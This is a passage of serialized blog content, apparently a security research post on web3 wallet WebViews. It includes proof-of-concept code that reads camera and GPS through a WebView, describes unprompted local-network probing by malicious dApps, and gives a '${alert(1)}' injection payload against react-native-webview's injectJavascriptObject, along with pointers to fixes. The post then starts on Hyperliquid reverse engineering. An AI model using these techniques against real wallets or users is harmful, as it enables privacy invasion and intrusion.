value":970},{"type":23,"tag":41,"props":157631,"children":157632},{"style":164},[157633],{"type":28,"value":4024},{"type":23,"tag":41,"props":157635,"children":157636},{"style":170},[157637],{"type":28,"value":3825},{"type":23,"tag":41,"props":157639,"children":157640},{"class":43,"line":23598},[157641,157646,157650,157655,157659,157664,157668,157672,157676,157681,157685,157690],{"type":23,"tag":41,"props":157642,"children":157643},{"style":858},[157644],{"type":28,"value":157645},"                stream",{"type":23,"tag":41,"props":157647,"children":157648},{"style":170},[157649],{"type":28,"value":706},{"type":23,"tag":41,"props":157651,"children":157652},{"style":114},[157653],{"type":28,"value":157654},"getTracks",{"type":23,"tag":41,"props":157656,"children":157657},{"style":170},[157658],{"type":28,"value":2463},{"type":23,"tag":41,"props":157660,"children":157661},{"style":114},[157662],{"type":28,"value":157663},"forEach",{"type":23,"tag":41,"props":157665,"children":157666},{"style":170},[157667],{"type":28,"value":1737},{"type":23,"tag":41,"props":157669,"children":157670},{"style":858},[157671],{"type":28,"value":21716},{"type":23,"tag":41,"props":157673,"children":157674},{"style":64},[157675],{"type":28,"value":27752},{"type":23,"tag":41,"props":157677,"children":157678},{"style":858},[157679],{"type":28,"value":157680}," t",{"type":23,"tag":41,"props":157682,"children":157683},{"style":170},[157684],{"type":28,"value":706},{"type":23,"tag":41,"props":157686,"children":157687},{"style":114},[157688],{"type":28,"value":157689},"stop",{"type":23,"tag":41,"props":157691,"children":157692},{"style":170},[157693],{"type":28,"value":15416},{"type":23,"tag":41,"props":157695,"children":157696},{"class":43,"line":23631},[157697,157701,157705,157710,157714,157718,157722,157726],{"type":23,"tag":41,"props":157698,"children":157699},{"style":858},[157700],{"type":28,"value":157433},{"type":23,"tag":41,"props":157702,"children":157703},{"style":170},[157704],{"type":28,"value":706},{"type":23,"tag":41,"props":157706,"children":157707},{"style":114},[157708],{"type":28,"value":157709},"toBlob",{"type":23,"tag":41,"props":157711,"children":157712},{"style":170},[157713],{"type":28,"value":31517},{"type":23,"tag":41,"props":157715,"children":157716},{"style":858},[157717],{"type":28,"value":32941},{"type":23,"tag":41,"props":157719,"children":157720},{"style":170},[157721],{"type":28,"value":866},{"type":23,"tag":41,"props":157723,"children":157724},{"style":64},[157725],{"type":28,"value":14813},{"type":23,"tag":41,"props":157727,"children":157728},{"style":170},[157729],{"type":28,"value":102},{"type":23,"tag":41,"props":157731,"children":157732},{"class":43,"line":23639},[157733,157738,157742,157746,157750,157755,157759,157764,157768,157772],{"type":23,"tag":41,"props":157734,"children":157735},{"style":858},[157736],{"type":28,"value":157737},"                    pic",{"type":23,"tag":41,"props":157739,"children":157740},{"style":170},[157741],{"type":28,"value":706},{"type":23,"tag":41,"props":157743,"children":157744},{"style":858},[157745],{"type":28,"value":32663},{"type":23,"tag":41,"props":157747,"children":157748},{"style":170},[157749],{"type":28,"value":32904},{"type":23,"tag":41,"props":157751,"children":157752},{"style":858},[157753],{"type":28,"value":157754},"URL",{"type":23,"tag":41,"props":157756,"children":157757},{"style":170},[157758],{"type":28,"value":706},{"type":23,"tag":41,"props":157760,"children":157761},{"style":114},[157762],{"type":28,"value":157763},"createObjectURL",{"type":23,"tag":41,"props":157765,"children":157766},{"style":170},[157767],{"type":28,"value":1737},{"type":23,"tag":41,"props":157769,"children":157770},{"style":858},[157771],{"type":28,"value":32941},{"type":23,"tag":41,"props":157773,"children":157774},{"style":170},[157775],{"type":28,"value":3825},{"type":23,"tag":41,"props":157777,"children":157778},{"class":43,"line":23647},[157779],{"type":23,"tag":41,"props":157780,"children":157781},{"style":170},[157782],{"type":28,"value":157783},"                });\n",{"type":23,"tag":41,"props":157785,"children":157786},{"class":43,"line":23656},[157787],{"type":23,"tag":41,"props":157788,"children":157789},{"emptyLinePlaceholder":18},[157790],{"type":28,"value":82},{"type":23,"tag":41,"props":157792,"children":157793},{"class":43,"line":23732},[157794,157799,157803,157808,157812,157817,157821,157826,157830],{"type":23,"tag":41,"props":157795,"children":157796},{"style":858},[157797],{"type":28,"value":157798},"                navigator",{"type":23,"tag":41,"props":157800,"children":157801},{"style":170},[157802],{"type":28,"value":706},{"type":23,"tag":41,"props":157804,"children":157805},{"style":858},[157806],{"type":28,"value":157807},"geolocation",{"type":23,"tag":41,"props":157809,"children":157810},{"style":170},[157811],{"type":28,"value":706},{"type":23,"tag":41,"props":157813,"children":157814},{"style":114},[157815],{"type":28,"value":157816},"getCurrentPosition",{"type":23,"tag":41,"props":157818,"children":157819},{"style":170},[157820],{"type":28,"value":1737},{"type":23,"tag":41,"props":157822,"children":157823},{"style":858},[157824],{"type":28,"value":157825},"pos",{"type":23,"tag":41,"props":157827,"children":157828},{"style":64},[157829],{"type":28,"value":27752},{"type":23,"tag":41,"props":157831,"children":157832},{"style":170},[157833],{"type":28,"value":102},{"type":23,"tag":41,"props":157835,"children":157836},{"class":43,"line":23765},[157837,157842,157846,157850,157854,157858,157863],{"type":23,"tag":41,"props":157838,"children":157839},{"style":64},[157840],{"type":28,"value":157841},"                    const",{"type":23,"tag":41,"props":157843,"children":157844},{"style":858},[157845],{"type":28,"value":37440},{"type":23,"tag":41,"props":157847,"children":157848},{"style":170},[157849],{"type":28,"value":32904},{"type":23,"tag":41,"props":157851,"children":157852},{"style":858},[157853],{"type":28,"value":157825},{"type":23,"tag":41,"props":157855,"children":157856},{"style":170},[157857],{"type":28,"value":706},{"type":23,"tag":41,"props":157859,"children":157860},{"style":858},[157861],{"type":28,"value":157862},"coords",{"type":23,"tag":41,"props":157864,"children":157865},{"style":170},[157866],{"type":28,"value":183},{"type":23,"tag":41,"props":157868,"children":157869},{"class":43,"line":23773},[157870,157875,157879,157883,157887,157892,157896,157900,157904,157909,157913,157918,157922,157926,157930,157934,157938,157943,157947,157951,157955,157960,157964,157968,157972,157976,157980,157984,157988],{"type":23,"tag":41,"props":157871,"children":157872},{"style":858},[157873],{"type":28,"value":157874},"                    gps",{"type":23,"tag":41,"props":157876,"children":157877},{"style":170},[157878],{"type":28,"value":706},{"type":23,"tag":41,"props":157880,"children":157881},{"style":858},[157882],{"type":28,"value":34958},{"type":23,"tag":41,"props":157884,"children":157885},{"style":170},[157886],{"type":28,"value":32904},{"type":23,"tag":41,"props":157888,"children":157889},{"style":735},[157890],{"type":28,"value":157891},"`Lat: ",{"type":23,"tag":41,"props":157893,"children":157894},{"style":64},[157895],{"type":28,"value":34102},{"type":23,"tag":41,"props":157897,"children":157898},{"style":858},[157899],{"type":28,"value":3146},{"type":23,"tag":41,"props":157901,"children":157902},{"style":170},[157903],{"type":28,"value":706},{"type":23,"tag":41,"props":157905,"children":157906},{"style":858},[157907],{"type":28,"value":157908},"latitude",{"type":23,"tag":41,"props":157910,"children":157911},{"style":170},[157912],{"type":28,"value":706},{"type":23,"tag":41,"props":157914,"children":157915},{"style":114},[157916],{"type":28,"value":157917},"toFixed",{"type":23,"tag":41,"props":157919,"children":157920},{"style":170},[157921],{"type":28,"value":1737},{"type":23,"tag":41,"props":157923,"children":157924},{"style":164},[157925],{"type":28,"value":317},{"type":23,"tag":41,"props":157927,"children":157928},{"style":170},[157929],{"type":28,"value":2678},{"type":23,"tag":41,"props":157931,"children":157932},{"style":64},[157933],{"type":28,"value":34134},{"type":23,"tag":41,"props":157935,"children":157936},{"style":48367},[157937],{"type":28,"value":48370},{"type":23,"tag":41,"props":157939,"children":157940},{"style":735},[157941],{"type":28,"value":157942},"Lon: ",{"type":23,"tag":41,"props":157944,"children":157945},{"style":64},[157946],{"type":28,"value":34102},{"type":23,"tag":41,"props":157948,"children":157949},{"style":858},[157950],{"type":28,"value":3146},{"type":23,"tag":41,"props":157952,"children":157953},{"style":170},[157954],{"type":28,"value":706},{"type":23,"tag":41,"props":157956,"children":157957},{"style":858},[157958],{"type":28,"value":157959},"longitude",{"type":23,"tag":41,"props":157961,"children":157962},{"style":170},[157963],{"type":28,"value":706},{"type":23,"tag":41,"props":157965,"children":157966},{"style":114},[157967],{"type":28,"value":157917},{"type":23,"tag":41,"props":157969,"children":157970},{"style":170},[157971],{"type":28,"value":1737},{"type":23,"tag":41,"props":157973,"children":157974},{"style":164},[157975],{"type":28,"value":317},{"type":23,"tag":41,"props":157977,"children":157978},{"style":170},[157979],{"type":28,"value":2678},{"type":23,"tag":41,"props":157981,"children":157982},{"style":64},[157983],{"type":28,"value":34134},{"type":23,"tag":41,"props":157985,"children":157986},{"style":735},[157987],{"type":28,"value":10380},{"type":23,"tag":41,"props":157989,"children":157990},{"style":170},[157991],{"type":28,"value":183},{"type":23,"tag":41,"props":157993,"children":157994},{"class":43,"line":23781},[157995,158000,158004,158008,158013,158017,158021],{"type":23,"tag":41,"props":157996,"children":157997},{"style":170},[157998],{"type":28,"value":157999},"                }, ",{"type":23,"tag":41,"props":158001,"children":158002},{"style":858},[158003],{"type":28,"value":48414},{"type":23,"tag":41,"props":158005,"children":158006},{"style":64},[158007],{"type":28,"value":27752},{"type":23,"tag":41,"props":158009,"children":158010},{"style":114},[158011],{"type":28,"value":158012}," alert",{"type":23,"tag":41,"props":158014,"children":158015},{"style":170},[158016],{"type":28,"value":1737},{"type":23,"tag":41,"props":158018,"children":158019},{"style":858},[158020],{"type":28,"value":48414},{"type":23,"tag":41,"props":158022,"children":158023},{"style":170},[158024],{"type":28,"value":7222},{"type":23,"tag":41,"props":158026,"children":158027},{"class":43,"line":23818},[158028],{"type":23,"tag":41,"props":158029,"children":158030},{"style":170},[158031],{"type":28,"value":48068},{"type":23,"tag":41,"props":158033,"children":158034},{"class":43,"line":23831},[158035],{"type":23,"tag":41,"props":158036,"children":158037},{"emptyLinePlaceholder":18},[158038],{"type":28,"value":82},{"type":23,"tag":41,"props":158040,"children":158041},{"class":43,"line":23844},[158042],{"type":23,"tag":41,"props":158043,"children":158044},{"style":170},[158045],{"type":28,"value":3347},{"type":23,"tag":41,"props":158047,"children":158048},{"class":43,"line":23857},[158049,158054],{"type":23,"tag":41,"props":158050,"children":158051},{"style":114},[158052],{"type":28,"value":158053},"        main",{"type":23,"tag":41,"props":158055,"children":158056},{"style":170},[158057],{"type":28,"value":3669},{"type":23,"tag":41,"props":158059,"children":158060},{"class":43,"line":23911},[158061,158065,158069],{"type":23,"tag":41,"props":158062,"children":158063},{"style":32370},[158064],{"type":28,"value":32821},{"type":23,"tag":41,"props":158066,"children":158067},{"style":64},[158068],{"type":28,"value":32410},{"type":23,"tag":41,"props":158070,"children":158071},{"style":32370},[158072],{"type":28,"value":773},{"type":23,"tag":41,"props":158074,"children":158075},{"class":43,"line":23920},[158076,158080,158084],{"type":23,"tag":41,"props":158077,"children":158078},{"style":32370},[158079],{"type":28,"value":32424},{"type":23,"tag":41,"props":158081,"children":158082},{"style":64},[158083],{"type":28,"value":32394},{"type":23,"tag":41,"props":158085,"children":158086},{"style":32370},[158087],{"type":28,"value":773},{"type":23,"tag":41,"props":158089,"children":158090},{"class":43,"line":32275},[158091,158095,158099],{"type":23,"tag":41,"props":158092,"children":158093},{"style":32370},[158094],{"type":28,"value":32424},{"type":23,"tag":41,"props":158096,"children":158097},{"style":64},[158098],{"type":28,"value":32377},{"type":23,"tag":41,"props":158100,"children":158101},{"style":32370},[158102],{"type":28,"value":773},{"type":23,"tag":18881,"props":158104,"children":158105},{"id":4229},[158106],{"type":28,"value":4232},{"type":23,"tag":24,"props":158108,"children":158109},{},[158110],{"type":28,"value":158111},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":158113,"children":158114},{},[158115,158117,158123],{"type":28,"value":158116},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":458,"props":158118,"children":158121},{"href":158119,"rel":158120},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[462],[158122],{"type":28,"value":47578},{"type":28,"value":706},{"type":23,"tag":31340,"props":158125,"children":158126},{"style":31342},[158127],{"type":23,"tag":3918,"props":158128,"children":158132},{"src":158129,"alt":158130,"style":158131},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":158134,"children":158135},{},[158136],{"type":28,"value":158137},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":446,"props":158139,"children":158141},{"id":158140},"local-network-access",[158142],{"type":28,"value":158143},"Local Network Access",{"type":23,"tag":24,"props":158145,"children":158146},{},[158147,158149,158156,158158,158164],{"type":28,"value":158148},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":458,"props":158150,"children":158153},{"href":158151,"rel":158152},"https://wicg.github.io/private-network-access/",[462],[158154],{"type":28,"value":158155},"Private Network Access",{"type":28,"value":158157}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":458,"props":158159,"children":158162},{"href":158160,"rel":158161},"https://x.com/taviso/status/2051310678800253318",[462],[158163],{"type":28,"value":158160},{"type":28,"value":158165},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":31340,"props":158167,"children":158168},{"style":31342},[158169],{"type":23,"tag":3918,"props":158170,"children":158173},{"src":158171,"alt":158130,"style":158172},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":158175,"children":158176},{},[158177],{"type":28,"value":158178},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":158180,"props":158181,"children":158184},"zoom-image",{"src":158182,"alt":158183},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":158186,"children":158187},{},[158188],{"type":28,"value":158189},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":417,"props":158191,"children":158192},{},[158193,158198,158203],{"type":23,"tag":421,"props":158194,"children":158195},{},[158196],{"type":28,"value":158197},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":421,"props":158199,"children":158200},{},[158201],{"type":28,"value":158202},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":421,"props":158204,"children":158205},{},[158206],{"type":28,"value":158207},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":158209,"children":158210},{},[158211],{"type":28,"value":158212},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":446,"props":158214,"children":158216},{"id":158215},"uxss-by-code-injection",[158217],{"type":28,"value":158218},"UXSS by Code Injection",{"type":23,"tag":24,"props":158220,"children":158221},{},[158222,158224,158230],{"type":28,"value":158223},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":37,"props":158225,"children":158227},{"className":158226},[],[158228],{"type":28,"value":158229},"injectJavascriptObject",{"type":28,"value":158231}," attribute worked. Here is the code snippet:",{"type":23,"tag":31,"props":158233,"children":158235},{"className":156471,"code":158234,"language":156473,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[158236],{"type":23,"tag":37,"props":158237,"children":158238},{"__ignoreMap":7},[158239,158259,158288,158322,158377,158482,158494,158507],{"type":23,"tag":41,"props":158240,"children":158241},{"class":43,"line":44},[158242,158246,158250,158255],{"type":23,"tag":41,"props":158243,"children":158244},{"style":64},[158245],{"type":28,"value":70778},{"type":23,"tag":41,"props":158247,"children":158248},{"style":94},[158249],{"type":28,"value":51044},{"type":23,"tag":41,"props":158251,"children":158252},{"style":114},[158253],{"type":28,"value":158254}," injectJavascriptObject",{"type":23,"tag":41,"props":158256,"children":158257},{"style":70},[158258],{"type":28,"value":1134},{"type":23,"tag":41,"props":158260,"children":158261},{"class":43,"line":54},[158262,158266,158270,158275,158279,158284],{"type":23,"tag":41,"props":158263,"children":158264},{"style":58},[158265],{"type":28,"value":39279},{"type":23,"tag":41,"props":158267,"children":158268},{"style":70},[158269],{"type":28,"value":142},{"type":23,"tag":41,"props":158271,"children":158272},{"style":114},[158273],{"type":28,"value":158274},"getSettings",{"type":23,"tag":41,"props":158276,"children":158277},{"style":70},[158278],{"type":28,"value":2463},{"type":23,"tag":41,"props":158280,"children":158281},{"style":114},[158282],{"type":28,"value":158283},"getJavaScriptEnabled",{"type":23,"tag":41,"props":158285,"children":158286},{"style":70},[158287],{"type":28,"value":2400},{"type":23,"tag":41,"props":158289,"children":158290},{"class":43,"line":76},[158291,158296,158301,158305,158310,158314,158318],{"type":23,"tag":41,"props":158292,"children":158293},{"style":94},[158294],{"type":28,"value":158295},"        String",{"type":23,"tag":41,"props":158297,"children":158298},{"style":858},[158299],{"type":28,"value":158300}," js",{"type":23,"tag":41,"props":158302,"children":158303},{"style":170},[158304],{"type":28,"value":3017},{"type":23,"tag":41,"props":158306,"children":158307},{"style":735},[158308],{"type":28,"value":158309}," \"(function(){",{"type":23,"tag":41,"props":158311,"children":158312},{"style":48367},[158313],{"type":28,"value":48370},{"type":23,"tag":41,"props":158315,"children":158316},{"style":735},[158317],{"type":28,"value":20048},{"type":23,"tag":41,"props":158319,"children":158320},{"style":170},[158321],{"type":28,"value":9785},{"type":23,"tag":41,"props":158323,"children":158324},{"class":43,"line":85},[158325,158330,158334,158339,158343,158348,158352,158356,158360,158365,158369,158373],{"type":23,"tag":41,"props":158326,"children":158327},{"style":735},[158328],{"type":28,"value":158329},"          \"    window.\"",{"type":23,"tag":41,"props":158331,"children":158332},{"style":170},[158333],{"type":28,"value":8901},{"type":23,"tag":41,"props":158335,"children":158336},{"style":70},[158337],{"type":28,"value":158338}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":41,"props":158340,"children":158341},{"style":170},[158342],{"type":28,"value":4383},{"type":23,"tag":41,"props":158344,"children":158345},{"style":735},[158346],{"type":28,"value":158347}," \" = window.\"",{"type":23,"tag":41,"props":158349,"children":158350},{"style":170},[158351],{"type":28,"value":8901},{"type":23,"tag":41,"props":158353,"children":158354},{"style":70},[158355],{"type":28,"value":158338},{"type":23,"tag":41,"props":158357,"children":158358},{"style":170},[158359],{"type":28,"value":4383},{"type":23,"tag":41,"props":158361,"children":158362},{"style":735},[158363],{"type":28,"value":158364}," \" || {};",{"type":23,"tag":41,"props":158366,"children":158367},{"style":48367},[158368],{"type":28,"value":48370},{"type":23,"tag":41,"props":158370,"children":158371},{"style":735},[158372],{"type":28,"value":20048},{"type":23,"tag":41,"props":158374,"children":158375},{"style":170},[158376],{"type":28,"value":9785},{"type":23,"tag":41,"props":158378,"children":158379},{"class":43,"line":105},[158380,158384,158388,158392,158396,158401,158405,158410,158414,158418,158422,158426,158430,158434,158439,158443,158448,158452,158457,158461,158465,158470,158474,158478],{"type":23,"tag":41,"props":158381,"children":158382},{"style":735},[158383],{"type":28,"value":158329},{"type":23,"tag":41,"props":158385,"children":158386},{"style":170},[158387],{"type":28,"value":8901},{"type":23,"tag":41,"props":158389,"children":158390},{"style":70},[158391],{"type":28,"value":158338},{"type":23,"tag":41,"props":158393,"children":158394},{"style":170},[158395],{"type":28,"value":4383},{"type":23,"tag":41,"props":158397,"children":158398},{"style":735},[158399],{"type":28,"value":158400}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":41,"props":158402,"children":158403},{"style":170},[158404],{"type":28,"value":8901},{"type":23,"tag":41,"props":158406,"children":158407},{"style":70},[158408],{"type":28,"value":158409}," (injectedJavaScriptObject ",{"type":23,"tag":41,"props":158411,"children":158412},{"style":170},[158413],{"type":28,"value":387},{"type":23,"tag":41,"props":158415,"children":158416},{"style":64},[158417],{"type":28,"value":70265},{"type":23,"tag":41,"props":158419,"children":158420},{"style":58},[158421],{"type":28,"value":97759},{"type":23,"tag":41,"props":158423,"children":158424},{"style":64},[158425],{"type":28,"value":70265},{"type":23,"tag":41,"props":158427,"children":158428},{"style":58},[158429],{"type":28,"value":35110},{"type":23,"tag":41,"props":158431,"children":158432},{"style":70},[158433],{"type":28,"value":142},{"type":23,"tag":41,"props":158435,"children":158436},{"style":735},[158437],{"type":28,"value":158438},"\"`\"",{"type":23,"tag":41,"props":158440,"children":158441},{"style":170},[158442],{"type":28,"value":8901},{"type":23,"tag":41,"props":158444,"children":158445},{"style":70},[158446],{"type":28,"value":158447}," injectedJavaScriptObject ",{"type":23,"tag":41,"props":158449,"children":158450},{"style":170},[158451],{"type":28,"value":4383},{"type":23,"tag":41,"props":158453,"children":158454},{"style":735},[158455],{"type":28,"value":158456}," \"`\"",{"type":23,"tag":41,"props":158458,"children":158459},{"style":70},[158460],{"type":28,"value":1746},{"type":23,"tag":41,"props":158462,"children":158463},{"style":170},[158464],{"type":28,"value":4383},{"type":23,"tag":41,"props":158466,"children":158467},{"style":735},[158468],{"type":28,"value":158469}," \"; };",{"type":23,"tag":41,"props":158471,"children":158472},{"style":48367},[158473],{"type":28,"value":48370},{"type":23,"tag":41,"props":158475,"children":158476},{"style":735},[158477],{"type":28,"value":20048},{"type":23,"tag":41,"props":158479,"children":158480},{"style":170},[158481],{"type":28,"value":9785},{"type":23,"tag":41,"props":158483,"children":158484},{"class":43,"line":155},[158485,158490],{"type":23,"tag":41,"props":158486,"children":158487},{"style":735},[158488],{"type":28,"value":158489},"          \"})();\"",{"type":23,"tag":41,"props":158491,"children":158492},{"style":70},[158493],{"type":28,"value":183},{"type":23,"tag":41,"props":158495,"children":158496},{"class":43,"line":186},[158497,158502],{"type":23,"tag":41,"props":158498,"children":158499},{"style":114},[158500],{"type":28,"value":158501},"        evaluateJavascriptWithFallback",{"type":23,"tag":41,"props":158503,"children":158504},{"style":70},[158505],{"type":28,"value":158506},"(js);\n",{"type":23,"tag":41,"props":158508,"children":158509},{"class":43,"line":195},[158510],{"type":23,"tag":41,"props":158511,"children":158512},{"style":70},[158513],{"type":28,"value":12659},{"type":23,"tag":24,"props":158515,"children":158516},{},[158517,158519,158525,158527,158532,158534,158540],{"type":28,"value":158518},"It basically injects a javascript code with the ",{"type":23,"tag":37,"props":158520,"children":158522},{"className":158521},[],[158523],{"type":28,"value":158524},"injectedJavascriptObject",{"type":28,"value":158526}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":37,"props":158528,"children":158530},{"className":158529},[],[158531],{"type":28,"value":158524},{"type":28,"value":158533},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":37,"props":158535,"children":158537},{"className":158536},[],[158538],{"type":28,"value":158539},"${alert(1)}",{"type":28,"value":158541}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":158543,"children":158544},{},[158545,158547,158554],{"type":28,"value":158546},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":458,"props":158548,"children":158551},{"href":158549,"rel":158550},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[462],[158552],{"type":28,"value":158553},"PR with the report and fix",{"type":28,"value":706},{"type":23,"tag":24,"props":158556,"children":158557},{},[158558],{"type":28,"value":158559},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":158561,"children":158562},{},[158563,158565,158571],{"type":28,"value":158564},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":37,"props":158566,"children":158568},{"className":158567},[],[158569],{"type":28,"value":158570},"injectedJavaScriptObject",{"type":28,"value":158572}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":546,"props":158574,"children":158575},{"id":2811},[158576],{"type":28,"value":2814},{"type":23,"tag":24,"props":158578,"children":158579},{},[158580],{"type":28,"value":158581},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":2843,"props":158583,"children":158584},{},[158585],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":158587},[158588,158592,158595,158596],{"id":156311,"depth":54,"text":156314,"children":158589},[158590,158591],{"id":156322,"depth":76,"text":156325},{"id":156397,"depth":76,"text":156400},{"id":156430,"depth":54,"text":156433,"children":158593},[158594],{"id":156620,"depth":76,"text":156623},{"id":158140,"depth":54,"text":158143},{"id":158215,"depth":54,"text":158218,"children":158597},[158598],{"id":2811,"depth":76,"text":2814},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":158603,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158604,"description":158605,"date":158606,"author":158607,"image":158608,"isFeatured":18,"onBlogPage":18,"tags":158612,"hideToc":18,"body":158616,"_type":2864,"_id":165255,"_source":2866,"_file":165256,"_stem":165257,"_extension":2869},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":158609,"width":158610,"height":158611},"/posts/hyperliquid-risk-engine/title.png",1456,816,[158613,158614,158615],"hyperliquid","reverse-engineering","defi",{"type":20,"children":158617,"toc":165227},[158618,158624,158632,158637,158642,158647,158659,158664,158677,158696,158702,158714,158727,158732,158763,158768,158781,158786,158977,158983,158988,159000,159006,159011,159017,159030,159064,159069,159074,159086,159092,159112,159120,159133,159139,159150,159156,159168,159173,159179,159199,159207,159213,159247,159251,159287,159292,159297,159302,159315,159352,159357,159371,159377,159382,159408,159416,159421,159449,159454,159459,159797,159802,159807,159827,159854,159859,159872,159884,159889,159894,159900,159905,159910,159924,159929,159935,159963,160000,160011,160015,160020,160025,160031,160197,160232,160237,160243,160249,160438,160451,160456,160462,160483,160488,160494,160499,160504,160516,160521,160526,160532,160537,160542,160548,160554,160567,160600,160605,163181,163449,163454,164784,164789,164794,164806,164897,164909,164914,164920,164925,164933,164938,164946,164952,164986,164997,165005,165011,165017,165022,165030,165035,165040,165048,165060,165066,165071,165077,165088,165093,165099,165104,165109,165115,165120,165123,165128,165133,165139,165144,165156,165161,165166],{"type":23,"tag":446,"props":158619,"children":158621},{"id":158620},"perpetuals",[158622],{"type":28,"value":158623},"Perpetuals",{"type":23,"tag":518,"props":158625,"children":158626},{},[158627],{"type":23,"tag":24,"props":158628,"children":158629},{},[158630],{"type":28,"value":158631},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":158633,"children":158634},{},[158635],{"type":28,"value":158636},"What does that even have to do with reverse engineering?",{"type":23,"tag":446,"props":158638,"children":158639},{"id":158613},[158640],{"type":28,"value":158641},"Hyperliquid",{"type":23,"tag":24,"props":158643,"children":158644},{},[158645],{"type":28,"value":158646},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":158648,"children":158649},{},[158650,158652,158657],{"type":28,"value":158651},"The node is tasked with a ",{"type":23,"tag":2913,"props":158653,"children":158654},{},[158655],{"type":28,"value":158656},"very hard problem",{"type":28,"value":158658},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":158660,"children":158661},{},[158662],{"type":28,"value":158663},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":158665,"children":158666},{},[158667,158669,158675],{"type":28,"value":158668},"Beyond that, the ",{"type":23,"tag":37,"props":158670,"children":158672},{"className":158671},[],[158673],{"type":28,"value":158674},"hl-node",{"type":28,"value":158676}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":158678,"children":158679},{},[158680,158682,158687,158689,158694],{"type":28,"value":158681},"Armed with some curiosity, a good amount of 